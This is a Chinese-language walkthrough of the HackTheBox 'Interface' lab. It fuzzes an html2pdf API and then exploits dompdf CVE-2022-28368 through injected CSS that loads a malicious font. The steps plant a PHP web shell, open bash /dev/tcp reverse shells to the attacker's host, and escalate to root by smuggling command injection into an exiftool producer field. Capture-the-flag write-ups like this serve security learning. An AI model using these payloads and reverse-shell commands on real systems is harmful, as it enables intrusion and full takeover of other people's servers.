hackthebox --interface medium
主机发现
nmap -sV -sC -O -p22,80 10.10.11.200 -oN ports
访问80页面,主页面是这样的
再访问一下index.php或者index.html 发现是404错误,
有可能是里面隐藏了一些api我们可以查看到搜索看看有没有类似的api泄露
利用f12查看js源码
搜索http:// 或者/ 或者/upload
这里搜索到的是/api
说明这里是有可能跳转到某个api的路径,利用bp在路径上进行访问,并且要用get,post两种不同的方式进行repeat
可以看到由Next.js支持的 既然是js支持那就是上传的数据最好都是json格式的数据
去掉api单纯看看有无反应 发现200返回
看到右边的返回包有一大段的路径,发现里面有一个域名叫 http://prd.m.rendering-api.interface.htb 一看就是和主题有关的路径,直接访问看看情况如何
抓包看看具体情况
发现就只有一个file not found 那是利用get方式还是post方式提交的file呢 如果是post方式的话,interact关键词是什么呢
change一下request method进行上传
ost 方式然后先尝试用关键词file当key进行上传查询
content-type: application/json
{"file":"/etc/passwd"}
仍然是没有找到
利用Fuzz进行查找
copy to file 并修改file->FUZZ (failure) 这一步是为了在这个页面看看能不能找到一个能够与server interact的参数
利用fuff进行请求
fuff -request file.req -request-proto http -w /opt/xxdictionary -mc all -fs 36
fuff用户手册:mirrors / ffuf / ffuf · GitCode
解析:-request -- File containing the raw http request
-request-proto Protocol to use along with raw request (default: https)
-mc match Match HTTP status codes, or "all" for everything. (default: 200,204,301,302,307,401,403,405,500)
-sf Stop when > 95% of responses return 403 Forbidden (default: false)
利用gobuster对新发现域名的爆破
sudo gobuster -u http://prd.m.rendering-api.interface.htb -w /opt/xxx dictionary -t 100 (指定线程)
gobuster爆破后的结果为0
再利用post方式进行爆破(新)
sudo gobuster -u http://xx.htb -w -t 100 -m POST
在爆破之余,将bp替换掉原本的域名index.php换成prd.m.rendering-api.interface.htb 利用api这个已暴露的路径看看是否由返回值
发现同样是404
第二步FUZZ 像gobuster一样爆破 (模糊路径)
fuff -u http://prd.m.rendering-api.interface.htb/FUZZ -w /opt/Seclists/discovery/web-content/raft-small-wordlists.txt -mc all -fs 0
fuzz出来一个404 和上面自己手动的方式一样
再利用fuzz对api后的路径进行模糊测试
fuff -u http://xx.htb/api/FUZZ -w /opt/xx -mc all -fs (根据输出的多少进行判断) 失败
再利用post方式进行fuzz
fuff -u http://xx.htb -w /xx -mc all -fs 50 -d ' x=x'
解析: -d POST data
利用feroxbuster进行爆破路径
feroxbuster -u http://prd.m.rendering-api.interface.htb/api -m GET,POST (新) 成功
将该html2pdf放入到bp里面repeat
post方式传一下 (一定要注意get post相互转换)
提示为 missing parameters 就是说我们缺乏一个参数能够与server进行interact的
由于是因为next.js支持,所以post方式一定是json格式进行上传
构造json数据
{"file":"/etc/passwd"}
改content-type 为application/json
或者直接进行fuzz测试
构造{"FUZZ":"/etc/passwd" } 改content-type 为application/json
copy to file 利用ffuf测试
ffuf -request file.req -request-proto http -w /opt/xx dictionary -mc all -fs 36 (失败)
但是失败原因在于字典没有html 所以有一个好字典是非常重要的
换一个字典继续尝试
在测试的同时可以手动预估
由于/api后面的路径是html2pdf,所以根据人的习性来说,interact参数可能是html
尝试是不是html (成功)
同时ffuf换了一个字典之后也成功发现html
利用bp的copy to command curl 利用curl获得返回包的所有数据并拷贝成一个pdf文件
利用exiftools进行下载查看pdf的类型和版本
producer是dompdf 1.2.0
google it 看看有没有漏洞
发现CVE-2022-28368
本质上是利用css的标签<link rel=stylesheet href='http://kali ip/xx.css'>下载这个css,并运行的时候,css内还有一个内置的外部链接下载另一个php文件
漏洞利用
1.inject css
这段是恶意css 内容复制到please.css里面
@font-face {$
font-family:'TestFont';$
src:url('http://kali ip/exploit_font.php')$
font-weight:'normal';$
font-style:'normal';$
}$
kali开启http服务'里面放了一个exploit_font.php 和exploit.css
exploit_font.php是由positive-security/dompdf-rce中 raw下载的攻击php这个攻击php的文件名要对上css里面src对应的文件名
准备就绪后,利用漏洞页面进行html2pdf的页面进行css的上传
写<link rel=style href='http://kali's ip/please.css'>将这段css往漏洞页面上当成json的value进行发送
{"html":"<link rel=stylesheet href='http://kali ip/exploit.css'>"}
tips:这里是pwn只是名字不相同罢了
观察kali 是否由被下载成功的提示
成功上传后,访问是否成功
根据cve的漏洞提示,这里要将css内的整个src路径的md5打印出来
echo -n 'http://kali ip/exploit_font.php' | md5sum 并将获得的md5值复制到上传的页面
bp repeat 访问 host :http://prd.m.rendering-api.interface.htb
路径是 /vender/dempdf/dompdf/lib/fonts/testsfont_normal_md5.php 访问
失败
重新试一次改一个css为pwn2.css其他的不该,此时kali开启的服务文件夹内由exploit_font.php pwn2.css
pwn2.css包含
@font-face {$
font-family:'TestFont';$
src:url('http://kali ip/exploit_font.php')$
font-weight:'normal';$
font-style:'normal';$
}$
这个css样式
重新发送
1.bp访问host: prd.m.rendering-api.interface.htb 路径为/api/html2pdf
{"html":"<link rel=stylesheet href='http://kali ip/pwn2.css'>"}
成功
2.访问上传到的页面
bp repeat 访问 host:prd.m.rendering-api.interface.htb
路径为/vender/dompdf/dompdf/lib/fonts/testfont_normal_md5.php
成功发现执行了exploit_font.php里面的phpinfo命令
修改exploit_font为反弹shell的命令并保存为文件名为font.php
<?php system($_REQEUST['cmd']);?>
保存后,将pwn2.css改名成pwn3.css 并且修改css内src:url的文件名成http://kali ip/font.php
并且将http://kali ip/font.php md5sum成一个md5hash用于拼接
重新利用漏洞上传恶意font.php
1.上传恶意css
2.访问上传后的恶意php文件位置并在下面添加 cmd=bash -i 'bash -c >& /dev/tcp/kali ip/1234 0>&1' 反弹shell
kali监听 nc -lvnp 1234
成功获取shell
成功获取shell发现是一个不完整的shell,因为python -c 'import pty;pty.spawn('/bin/bash');'是直接打出原文,所以要对shell进行修改操作
1.首先添加一个环境变量
export term=xterm
进入到自己的shell中
stty -a 查看自己的shell的行高和宽高
再次进入到靶机shell中 设置stty的行高列高
stty rows 21 col 121
成功设置为一个交互性良好的shell
tips 从靶机shell ctrl+Z退出后到自己的shell,然后通过fg再次进入到靶机shell中 (应该)
上传pspy监听有没有root执行的sh脚本
发现一条uid=0执行的sh脚本
解析:cache为/tmp目录,变量cfile遍历tmp下所有的文件 if [[ -f "$cfile" ]];then是判断存不存在cfile这个变量 存在执行不存在不执行
并且将cfile变量的所有producer属性变成meta_producer中
cut -d " " -f1 的详细意义是:根据空格作为分隔符,选取每一行的第一个字段。可以理解为提取每一行的第一个单词
利用:在/dev/shm/下创建一个文件shell.sh
内容
#!/bin/bash
bash -i >& /dev/tcp/kali ip/9001 0>&1
创建一个cleanme文件
exiftools -producer='arr[$(/dev/shm/shell.sh)]' cleanme 修改cleanme文件的producer属性
将cleanme文件放在/tmp目录下
等待系统任务运行
kali监听9001端口 成功获取一个root权限的shell
完结撒花
阅读链接:https://research.nccgroup.com/2020/05/12/shell-arithmetic-expansion-and-evaluation-abuse/